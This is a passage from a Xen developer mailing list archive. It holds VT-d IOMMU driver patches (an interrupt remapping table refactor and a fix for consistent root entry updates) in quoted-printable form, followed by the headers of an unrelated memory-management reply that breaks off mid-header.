-            GET_IREMAP_ENTRY(iommu->intremap=2Emaddr, i,
-                             iremap_entries, p);
-        }
-        else
-            p =3D &iremap_entries[i % (1 << IREMAP_ENTRY_ORDER)];
+        struct iremap_entry *p =3D &iommu->intremap=2Eentries[i];
=20
         if ( p->val ) /* not a free entry */
             found =3D 0;
@@ -258,9 +245,6 @@ static unsigned int alloc_remap_entry(struct vtd_iommu=
 *iommu, unsigned int nr)
             break;
     }
=20
-    if ( iremap_entries )
-        unmap_vtd_domain_page(iremap_entries);
-
     if ( i < IREMAP_ENTRY_NR )
         iommu->intremap=2Enum +=3D nr;
=20
@@ -270,7 +254,7 @@ static unsigned int alloc_remap_entry(struct vtd_iommu=
 *iommu, unsigned int nr)
 static int remap_entry_to_ioapic_rte(
     struct vtd_iommu *iommu, int index, struct IO_APIC_route_entry *old_r=
te)
 {
-    struct iremap_entry *iremap_entry =3D NULL, *iremap_entries;
+    struct iremap_entry *iremap_entry =3D NULL;
     unsigned long flags;
=20
     if ( index < 0 || index > IREMAP_ENTRY_NR - 1 )
@@ -283,15 +267,13 @@ static int remap_entry_to_ioapic_rte(
=20
     spin_lock_irqsave(&iommu->intremap=2Elock, flags);
=20
-    GET_IREMAP_ENTRY(iommu->intremap=2Emaddr, index,
-                     iremap_entries, iremap_entry);
+    iremap_entry =3D &iommu->intremap=2Eentries[index];
=20
     if ( iremap_entry->val =3D=3D 0 )
     {
         dprintk(XENLOG_ERR VTDPREFIX,
                 "IO-APIC index (%d) has an empty entry\n",
                 index);
-        unmap_vtd_domain_page(iremap_entries);
         spin_unlock_irqrestore(&iommu->intremap=2Elock, flags);
         return -EFAULT;
     }
@@ -309,7 +291,6 @@ static int remap_entry_to_ioapic_rte(
         old_rte->dest=2Elogical=2Elogical_dest =3D iremap_entry->remap=2E=
dst >> 8;
     }
=20
-    unmap_vtd_domain_page(iremap_entries);
     spin_unlock_irqrestore(&iommu->intremap=2Elock, flags);
=20
     return 0;
@@ -319,7 +300,7 @@ static int ioapic_rte_to_remap_entry(struct vtd_iommu =
*iommu,
     int apic, unsigned int ioapic_pin, struct IO_APIC_route_entry *old_rt=
e,
     struct IO_APIC_route_entry new_rte)
 {
-    struct iremap_entry *iremap_entry =3D NULL, *iremap_entries;
+    struct iremap_entry *iremap_entry =3D NULL;
     struct iremap_entry new_ire;
     struct IO_APIC_route_remap_entry *remap_rte;
     int index;
@@ -347,8 +328,7 @@ static int ioapic_rte_to_remap_entry(struct vtd_iommu =
*iommu,
         return -EFAULT;
     }
=20
-    GET_IREMAP_ENTRY(iommu->intremap=2Emaddr, index,
-                     iremap_entries, iremap_entry);
+    iremap_entry =3D &iommu->intremap=2Eentries[index];
=20
     new_ire =3D *iremap_entry;
=20
@@ -388,7 +368,6 @@ static int ioapic_rte_to_remap_entry(struct vtd_iommu =
*iommu,
     iommu_sync_cache(iremap_entry, sizeof(*iremap_entry));
     iommu_flush_iec_index(iommu, 0, index);
=20
-    unmap_vtd_domain_page(iremap_entries);
     spin_unlock_irqrestore(&iommu->intremap=2Elock, flags);
     return 0;
 }
@@ -500,7 +479,7 @@ static int msi_msg_to_remap_entry(
     struct vtd_iommu *iommu, struct pci_dev *pdev,
     struct msi_desc *msi_desc, struct msi_msg *msg)
 {
-    struct iremap_entry *iremap_entry =3D NULL, *iremap_entries, new_ire =
=3D { };
+    struct iremap_entry *iremap_entry =3D NULL, new_ire =3D { };
     struct msi_msg_remap_entry *remap_rte;
     unsigned int index, i, nr =3D 1;
     unsigned long flags;
@@ -556,8 +535,7 @@ static int msi_msg_to_remap_entry(
         return -EFAULT;
     }
=20
-    GET_IREMAP_ENTRY(iommu->intremap=2Emaddr, index,
-                     iremap_entries, iremap_entry);
+    iremap_entry =3D &iommu->intremap=2Eentries[index];
=20
     if ( !pi_desc )
     {
@@ -604,7 +582,6 @@ static int msi_msg_to_remap_entry(
     iommu_sync_cache(iremap_entry, sizeof(*iremap_entry));
     iommu_flush_iec_index(iommu, 0, index);
=20
-    unmap_vtd_domain_page(iremap_entries);
     spin_unlock_irqrestore(&iommu->intremap=2Elock, flags);
=20
     return alloc;
@@ -628,7 +605,7 @@ int __init cf_check intel_setup_hpet_msi(struct msi_de=
sc *msi_desc)
     unsigned long flags;
     int rc =3D 0;
=20
-    if ( !iommu->intremap=2Emaddr )
+    if ( !iommu->intremap=2Eentries )
         return 0;
=20
     spin_lock_irqsave(&iommu->intremap=2Elock, flags);
@@ -663,7 +640,7 @@ int enable_intremap(struct vtd_iommu *iommu, int eim)
     sts =3D dmar_readl(iommu->reg, DMAR_GSTS_REG);
=20
     /* Return if already enabled by Xen */
-    if ( (sts & DMA_GSTS_IRES) && iommu->intremap=2Emaddr )
+    if ( (sts & DMA_GSTS_IRES) && iommu->intremap=2Eentries )
         return 0;
=20
     if ( !(sts & DMA_GSTS_QIES) )
@@ -679,16 +656,18 @@ int enable_intremap(struct vtd_iommu *iommu, int eim=
)
                " Compatibility Format Interrupts permitted on IOMMU #%u:"
                " Device pass-through will be insecure\n", iommu->index);
=20
-    if ( iommu->intremap=2Emaddr =3D=3D 0 )
+    if ( !iommu->intremap=2Eentries )
     {
-        iommu->intremap=2Emaddr =3D alloc_pgtable_maddr(IREMAP_ARCH_PAGE_=
NR,
-                                                    iommu->node);
-        if ( iommu->intremap=2Emaddr =3D=3D 0 )
+        iommu->intremap=2Eentries =3D
+            alloc_xenheap_pages(get_order_from_pages(IREMAP_ARCH_PAGE_NR)=
,
+                                                     MEMF_node(iommu->nod=
e));
+        if ( !iommu->intremap=2Eentries )
         {
             dprintk(XENLOG_WARNING VTDPREFIX,
-                    "Cannot allocate memory for ir_ctrl->iremap_maddr\n")=
;
+                    "Cannot allocate memory for iommu->intremap=2Eentries=
\n");
             return -ENOMEM;
         }
+        memset(iommu->intremap=2Eentries, 0, IREMAP_ARCH_PAGE_NR * PAGE_S=
IZE);
=20
         iommu->intremap=2Enum =3D 0;
     }
@@ -700,7 +679,7 @@ int enable_intremap(struct vtd_iommu *iommu, int eim)
      * Interrupt Mode=2E
      */
     dmar_writeq(iommu->reg, DMAR_IRTA_REG,
-                iommu->intremap=2Emaddr | IRTA_REG_TABLE_SIZE |
+                virt_to_maddr(iommu->intremap=2Eentries) | IRTA_REG_TABLE=
_SIZE |
                 (eim ? IRTA_EIME : 0));
=20
     /* set SIRTP */
diff --git a/xen/drivers/passthrough/vtd/iommu=2Eh b/xen/drivers/passthrou=
gh/vtd/iommu=2Eh
index ccb00889d7=2E=2E0cd2c2ef3a 100644
--- a/xen/drivers/passthrough/vtd/iommu=2Eh
+++ b/xen/drivers/passthrough/vtd/iommu=2Eh
@@ -357,20 +357,6 @@ struct iremap_entry {
 #define iremap_set_present(v) do {(v)=2Elo |=3D 1;} while(0)
 #define iremap_clear_present(v) do {(v)=2Elo &=3D ~1;} while(0)
=20
-/*
- * Get the intr remap entry:
- * maddr   - machine addr of the table
- * index   - index of the entry
- * entries - return addr of the page holding this entry, need unmap it
- * entry   - return required entry
- */
-#define GET_IREMAP_ENTRY(maddr, index, entries, entry)                   =
     \
-do {                                                                     =
     \
-    entries =3D (struct iremap_entry *)map_vtd_domain_page(              =
       \
-              (maddr) + (( (index) >> IREMAP_ENTRY_ORDER ) << PAGE_SHIFT =
) ); \
-    entry =3D &entries[(index) % (1 << IREMAP_ENTRY_ORDER)];             =
       \
-} while(0)
-
 /* queue invalidation entry */
 struct qinval_entry {
     union {
@@ -491,7 +477,7 @@ struct vtd_iommu {
     uint64_t qinval_maddr;   /* queue invalidation page machine address *=
/
=20
     struct {
-        uint64_t maddr;   /* interrupt remap table machine address */
+        struct iremap_entry *entries; /* interrupt remap table entries */
         unsigned int num; /* total num of used interrupt remap entry */
         spinlock_t lock;  /* lock for irq remapping table */
     } intremap;
diff --git a/xen/drivers/passthrough/vtd/utils=2Ec b/xen/drivers/passthrou=
gh/vtd/utils=2Ec
index 7c4d032f4f=2E=2E3ae4d35e2d 100644
--- a/xen/drivers/passthrough/vtd/utils=2Ec
+++ b/xen/drivers/passthrough/vtd/utils=2Ec
@@ -187,11 +187,12 @@ void cf_check vtd_dump_iommu_info(unsigned char key)
         {
             /* Dump interrupt remapping table=2E */
             uint64_t irta =3D dmar_readq(iommu->reg, DMAR_IRTA_REG);
-            uint64_t iremap_maddr =3D irta & PAGE_MASK;
             unsigned int nr_entry =3D 1 << ((irta & 0xF) + 1);
-            struct iremap_entry *iremap_entries =3D NULL;
             unsigned int print_cnt =3D 0;
=20
+            /* Hardware must be using the same table as us=2E */
+            ASSERT((irta & PAGE_MASK) =3D=3D virt_to_maddr(iommu->intrema=
p=2Eentries));
+
             printk("  Interrupt remapping table (nr_entry=3D%#x=2E "
                 "Only dump P=3D1 entries here):\n", nr_entry);
             printk("R means remapped format, P means posted format=2E\n")=
;
@@ -199,18 +200,7 @@ void cf_check vtd_dump_iommu_info(unsigned char key)
             printk("P:       SVT  SQ   SID  V  AVL FPD              PDA  =
URG P\n");
             for ( i =3D 0; i < nr_entry; i++ )
             {
-                struct iremap_entry *p;
-                if ( i % (1 << IREMAP_ENTRY_ORDER) =3D=3D 0 )
-                {
-                    /* This entry across page boundry */
-                    if ( iremap_entries )
-                        unmap_vtd_domain_page(iremap_entries);
-
-                    GET_IREMAP_ENTRY(iremap_maddr, i,
-                                     iremap_entries, p);
-                }
-                else
-                    p =3D &iremap_entries[i % (1 << IREMAP_ENTRY_ORDER)];
+                struct iremap_entry *p =3D &iommu->intremap=2Eentries[i];
=20
                 if ( !p->remap=2Ep )
                     continue;
@@ -231,8 +221,6 @@ void cf_check vtd_dump_iommu_info(unsigned char key)
=20
                 print_cnt++;
             }
-            if ( iremap_entries )
-                unmap_vtd_domain_page(iremap_entries);
             if ( iommu->intremap=2Enum !=3D print_cnt )
                 printk("Warning: Print %u IRTE (actually have %u)!\n",
                         print_cnt, iommu->intremap=2Enum);
@@ -251,7 +239,7 @@ void cf_check vtd_dump_iommu_info(unsigned char key)
         {
             iommu =3D ioapic_to_iommu(mp_ioapics[apic]=2Empc_apicid);
=20
-            if ( !iommu->intremap=2Emaddr || !iommu->intremap=2Enum )
+            if ( !iommu->intremap=2Eentries || !iommu->intremap=2Enum )
                 continue;
=20
             printk( "\nRedirection table of IOAPIC %x:\n", apic);
--=20
2=2E54=2E0



-- 
Teddy Astie | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vates s=
olutions

web: https://vates=2Etech
---=Part.1661.b7e19c699866e3d7.19fad534300.d10821a32adda283=---


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 10:08:07 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 10:08:07 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375439.1622600 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp1Cl-0007lP-Qt; Wed, 29 Jul 2026 10:08:03 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375439.1622600; Wed, 29 Jul 2026 10:08:03 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp1Cl-0007lI-OR; Wed, 29 Jul 2026 10:08:03 +0000
Received: by outflank-mailman (input) for mailman id 1375439;
 Wed, 29 Jul 2026 10:08:02 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fad586037000e099@swg.vates.tech>)
 id 1wp1Cj-0007jT-V4
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 10:08:01 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp1Cj-00HNLw-7z
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 12:08:01 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fad586037000e099@swg.vates.tech>)
 id 6a69d0f3-2eae-0a2a0a5409dd-0a2a45039a82-10
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 12:08:01 +0200
Received: from [185.255.28.18] (helo=prod-mta-13.swg-srv.net)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fad586037000e099@swg.vates.tech>)
 id 6a69d100-fae8-0a2a45030019-b9ff1c12832d-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 12:08:01 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19fad586037000e099.002 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Wed, 29 Jul 2026 10:07:58 +0000
Received: from localhost.localdomain (88-188-240-210.subs.proxad.net
 [88.188.240.210]) (Authenticated sender: teddy.astie@vates.tech)
 by mail2.vates.fr (Postfix) with ESMTPSA id 451A98320D;
 Wed, 29 Jul 2026 12:07:57 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=kP34VkRmXUHEqgTF9zcqnvF5Ro7DYiwr7LhOjNgGxHI=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=t67146ahM3hirT1qDy9IsyOBZkzKFtkprnERXBpX+TF/syho6nwNqPTzb+zGNUncoQRSj5Lej
 9x5VGyP7o8OettPaiBzC5CUAa/QLzxKaFm4vEgIt+3PvEZ2mUfmpQDkfXHjktBeud+zTXqIKoqB
 GVgHnSoAlbB8Md04XIp3iKTcBXT+m6XmS9ug/4PnXIShuEqX6hwLsS4oDgpWe699BglXTI1lhwd
 FjKm3yZLDFM025XqY5FrnfG6siD1VhwHjslPu1nUbcZ/k8ELFNREgio+Dq7TwGgCbodjOUk2zsu
 eIv7VRb9aObYquYTXn3r2QbPpSWj752Pdd/AjEW0b3ag==
X-Zone-Loop: defc1e1d417112baefa663110e8549dbb5d5bf66416d
x-campaign-type: default
x-transaction-id: 1d1ebdbe-a5fd-4ea0-bdfa-1daaee9e224f
x-swg-uid: 01-13b89d0d-80cf-4c56-8878-fa8581d52ba5
X-Mailer: Sweego
Message-ID:
 <1785319678.8631fc262581453bbf619ec5b2062170.19fad586037000e099@vates.tech>
x-swg-bid: 1785319678.8631fc262581453bbf619ec5b2062170.19fad586037000e099
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
From: Teddy Astie <teddy.astie@vates.tech>
To: xen-devel@lists.xenproject.org
Cc: Teddy Astie <teddy.astie@vates.tech>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger@xenproject.org>
Subject: [RESEND PATCH 1/5] vtd: Ensure root entry is updated consistently
Date: Wed, 29 Jul 2026 12:05:39 +0200
In-Reply-To: <1785319236.8631fc262581453bbf619ec5b2062170.19fad51a4be000e099@vates.tech>
References: <1785319236.8631fc262581453bbf619ec5b2062170.19fad51a4be000e099@vates.tech>
MIME-Version: 1.0
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.1669.af91e764794eb07c.19fad585de6.7c53ed0f29ba61cc=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1785319677415
X-purgate-ID: tlsNG-33051d/1785319681-6CCDB4E9-7B68D1A4/0/0
X-purgate-type: clean
X-purgate-size: 2626

---=Part.1669.af91e764794eb07c.19fad585de6.7c53ed0f29ba61cc=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

Make sure the root entry is updated consistently such that the compiler
is not allowed to perform optimizations around setting present bit (and
i=2Ee set present bit before setting up the pagetable addresss, which woul=
d
cause the IOMMU to use a pagetable at address 0 instead)=2E

This issue can only occurs at boot time where present bit is initially cle=
ared
or when a bus is first introduced in the machine=2E

Fixes: ccfe4e08455f ("Intel vt-d specific changes in arch/x86/hvm/vmx/vtd=
=2E")
Signed-off-by: Teddy Astie <teddy=2Eastie@vates=2Etech>
---
 xen/drivers/passthrough/vtd/iommu=2Ec | 15 ++++++++-------
 1 file changed, 8 insertions(+), 7 deletions(-)

diff --git a/xen/drivers/passthrough/vtd/iommu=2Ec b/xen/drivers/passthrou=
gh/vtd/iommu=2Ec
index 3d6f787b3c=2E=2Ec314ce1db8 100644
--- a/xen/drivers/passthrough/vtd/iommu=2Ec
+++ b/xen/drivers/passthrough/vtd/iommu=2Ec
@@ -281,13 +281,13 @@ void free_pgtable_maddr(u64 maddr)
 /* context entry handling */
 static u64 bus_to_context_maddr(struct vtd_iommu *iommu, u8 bus)
 {
-    struct root_entry *root, *root_entries;
+    struct root_entry root, *root_entries;
     u64 maddr;
=20
     ASSERT(spin_is_locked(&iommu->lock));
     root_entries =3D (struct root_entry *)map_vtd_domain_page(iommu->root=
_maddr);
-    root =3D &root_entries[bus];
-    if ( !root_present(*root) )
+    root=2Eval =3D ACCESS_ONCE(root_entries[bus]=2Eval);
+    if ( !root_present(root) )
     {
         maddr =3D alloc_pgtable_maddr(1, iommu->node);
         if ( maddr =3D=3D 0 )
@@ -295,11 +295,12 @@ static u64 bus_to_context_maddr(struct vtd_iommu *io=
mmu, u8 bus)
             unmap_vtd_domain_page(root_entries);
             return 0;
         }
-        set_root_value(*root, maddr);
-        set_root_present(*root);
-        iommu_sync_cache(root, sizeof(struct root_entry));
+        set_root_value(root, maddr);
+        set_root_present(root);
+        ACCESS_ONCE(root_entries[bus]=2Eval) =3D root=2Eval;
+        iommu_sync_cache(&root_entries[bus], sizeof(struct root_entry));
     }
-    maddr =3D (u64) get_context_addr(*root);
+    maddr =3D (u64) get_context_addr(root);
     unmap_vtd_domain_page(root_entries);
     return maddr;
 }
--=20
2=2E54=2E0



-- 
Teddy Astie | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vates s=
olutions

web: https://vates=2Etech
---=Part.1669.af91e764794eb07c.19fad585de6.7c53ed0f29ba61cc=---


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 10:14:15 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 10:14:15 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375448.1622610 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp1Ig-00012Q-Iy; Wed, 29 Jul 2026 10:14:10 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375448.1622610; Wed, 29 Jul 2026 10:14:10 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp1Ig-00012J-GA; Wed, 29 Jul 2026 10:14:10 +0000
Received: by outflank-mailman (input) for mailman id 1375448;
 Wed, 29 Jul 2026 10:14:09 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <agordeev@linux.ibm.com>) id 1wp1If-00012A-6Q
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 10:14:09 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp1Ie-007Blt-4G
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 12:14:08 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <agordeev@linux.ibm.com>)
 id 6a69d262-2eae-0a2a0a5409dd-0a2a4508c59e-34
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 12:14:08 +0200
Received: from [148.163.158.5] (helo=mx0b-001b2d01.pphosted.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <agordeev@linux.ibm.com>)
 id 6a69d26e-f659-0a2a45080019-94a39e050b12-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 12:14:07 +0200
Received: from pps.filterd (m0353725.ppops.net [127.0.0.1])
 by mx0a-001b2d01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66T7mVIS3510234; Wed, 29 Jul 2026 10:13:24 GMT
Received: from ppma13.dal12v.mail.ibm.com
 (dd.9e.1632.ip4.static.sl-reverse.com [50.22.158.221])
 by mx0a-001b2d01.pphosted.com (PPS) with ESMTPS id 4fmv0ns9wk-1
 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NOT);
 Wed, 29 Jul 2026 10:13:24 +0000 (GMT)
Received: from pps.filterd (ppma13.dal12v.mail.ibm.com [127.0.0.1])
 by ppma13.dal12v.mail.ibm.com (8.18.1.7/8.18.1.7) with ESMTP id 66T9uISf001554;
 Wed, 29 Jul 2026 10:13:23 GMT
Received: from smtprelay06.fra02v.mail.ibm.com ([9.218.2.230])
 by ppma13.dal12v.mail.ibm.com (PPS) with ESMTPS id 4fn9pge0sk-1
 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NOT);
 Wed, 29 Jul 2026 10:13:22 +0000 (GMT)
Received: from smtpav04.fra02v.mail.ibm.com (smtpav04.fra02v.mail.ibm.com
 [10.20.54.103])
 by smtprelay06.fra02v.mail.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id
 66TADL8529688252
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
 Wed, 29 Jul 2026 10:13:21 GMT
Received: from smtpav04.fra02v.mail.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id E576B20063;
 Wed, 29 Jul 2026 10:13:20 +0000 (GMT)
Received: from smtpav04.fra02v.mail.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 75E452005A;
 Wed, 29 Jul 2026 10:13:19 +0000 (GMT)
Received: from li-008a6a4c-3549-11b2-a85c-c5cc2836eea2.ibm.com (unknown
 [9.224.92.206])
 by smtpav04.fra02v.mail.ibm.com (Postfix) with ESMTPS;
 Wed, 29 Jul 2026 10:13:19 +0000 (GMT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=pp1 header.d=ibm.com header.i="@ibm.com" header.h="Cc:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ibm.com; h=cc
	:content-type:date:from:in-reply-to:message-id:mime-version
	:references:subject:to; s=pp1; bh=20PLe0W5WCIDnL84N1zaO+HLc/2Flu
	i3NV1Ycbs9FQE=; b=FE0GRe0Ogg0GxdOaqXto7RlECSlIgi6U4FPECF0W06Wbwd
	M7AONk2CWa7g6JpJI2ObBumRdUA1swYmrWpTmd7Yhg8jwPbDZPgtdHdki7lJdXyx
	a5ku0VmqhUWIT7fE2R31EKwMjGZ2WPjK8OmL/dgfnk9UoMkRCYyUVAcgLhPRPvN0
	kLIPDOKCSIvgAGARWTb1EH2yPFCJ8AUOWyTqPNEJnE/lDGlRVk3V4VuWQqKVkVwv
	H1IG3I44nBqMpAKFAi/QqfRPlQYTmOhtD2sUL446yWQE95juDDEVE2tYcHYUFzYi
	2UV21GPh0m5G/vyMvB1cyXeyKTzcyGbuTrgbPIEQ==
Date: Wed, 29 Jul 2026 12:13:18 +0200
From: Alexander Gordeev <agordeev@linux.ibm.com>
To: "David Hildenbrand (Arm)" <david@kernel.org>
Cc: Muhammad Usama Anjum <usama.anjum@arm.com>,
        Jani Nikula <jani.nikula@linux.intel.com>,
        Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
        Rodrigo Vivi <rodrigo.vivi@intel.com>,
        Tvrtko Ursulin <tursulin@ursulin.net>,
        David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
        Dimitri Sivanich <dimitri.sivanich@hpe.com>,
        Arnd Bergmann <arnd@arndb.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        "James E.J. Bottomley" <James.Bottomley@hansenpartnership.com>,
        Helge Deller <deller@gmx.de>, Juergen Gross <jgross@suse.com>,
        Stefano Stabellini <sstabellini@kernel.org>,
        Muchun Song <muchun.song@linux.dev>,
        Oscar Salvador <osalvador@suse.de>,
        Andrew Morton <akpm@linux-foundation.org>,
        "Liam R. Howlett" <liam@infradead.org>,
        Lorenzo Stoakes <ljs@kernel.org>, Will Deacon <will@kernel.org>,
        "Aneesh Kumar K.V" <aneesh.kumar@kernel.org>,
        Nick Piggin <npiggin@gmail.com>, Peter Zijlstra <peterz@infradead.org>,
        Andrey Ryabinin <ryabinin.a.a@gmail.com>,
        Pasha Tatashin <pasha.tatashin@soleen.com>,
        Chris Li <chrisl@kernel.org>, Kairui Song <kasong@tencent.com>,
        Uladzislau Rezki <urezki@gmail.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Masami Hiramatsu <mhiramat@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        Daniel Borkmann <daniel@iogearbox.net>,
        Andrii Nakryiko <andrii@kernel.org>,
        Eduard Zingerman <eddyz87@gmail.com>,
        Kumar Kartikeya Dwivedi <memxor@gmail.com>,
        Ingo Molnar <mingo@redhat.com>,
        Arnaldo Carvalho de Melo <acme@kernel.org>,
        Namhyung Kim <namhyung@kernel.org>, SJ Park <sj@kernel.org>,
        "Matthew Wilcox (Oracle)" <willy@infradead.org>,
        Jan Kara <jack@suse.cz>, Jason Gunthorpe <jgg@ziepe.ca>,
        Leon Romanovsky <leon@kernel.org>, Miaohe Lin <linmiaohe@huawei.com>,
        Dennis Zhou <dennis@kernel.org>, Tejun Heo <tj@kernel.org>,
        Christoph Lameter <cl@gentwo.org>, Mike Rapoport <rppt@kernel.org>,
        Johannes Weiner <hannes@cmpxchg.org>, ziy@nvidia.com, pfalcato@suse.de,
        ryan.roberts@arm.com, linux-kernel@vger.kernel.org,
        intel-gfx@lists.freedesktop.org, dri-devel@lists.freedesktop.org,
        linux-parisc@vger.kernel.org, xen-devel@lists.xenproject.org,
        linux-mm@kvack.org, linux-fsdevel@vger.kernel.org,
        linux-arch@vger.kernel.org, kasan-dev@googlegroups.com,
        linux-trace-kernel@vger.kernel.org, bpf@vger.kernel.org,
        linux-perf-users@vger.kernel.org, damon@lists.linux.dev
Subject: Re: [PATCH RFC 00/11] mm: distinguish PTE table storage from PTE
 values
Message-ID: <7813b5fe-e767-442c-a356-afc1a5c567ad-agordeev@linux.ibm.com>
References: <20260727164715.2866609-1-usama.anjum@arm.com>
 <2c19247e-bee6-45f4-a353-2fcc60db26e6@kernel.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <2c19247e-bee6-45f4-a353-2fcc60db26e6@kernel.org>
X-TM-AS-GCONF: 00
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzI5MDA4MCBTYWx0ZWRfX5gvztvTGa1TS
 cVvs9sLHjmDvl0pv/qnDx3AnLV3WD1PhcS6rWZcrYanN4eoy1jfYhO0/byBUN7m85v7yOdOHFEd
 jkwp4KNx5XSDCb91frhZzFZIHZypXvU=
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzI5MDA4MCBTYWx0ZWRfX1UTcCITLhsoM
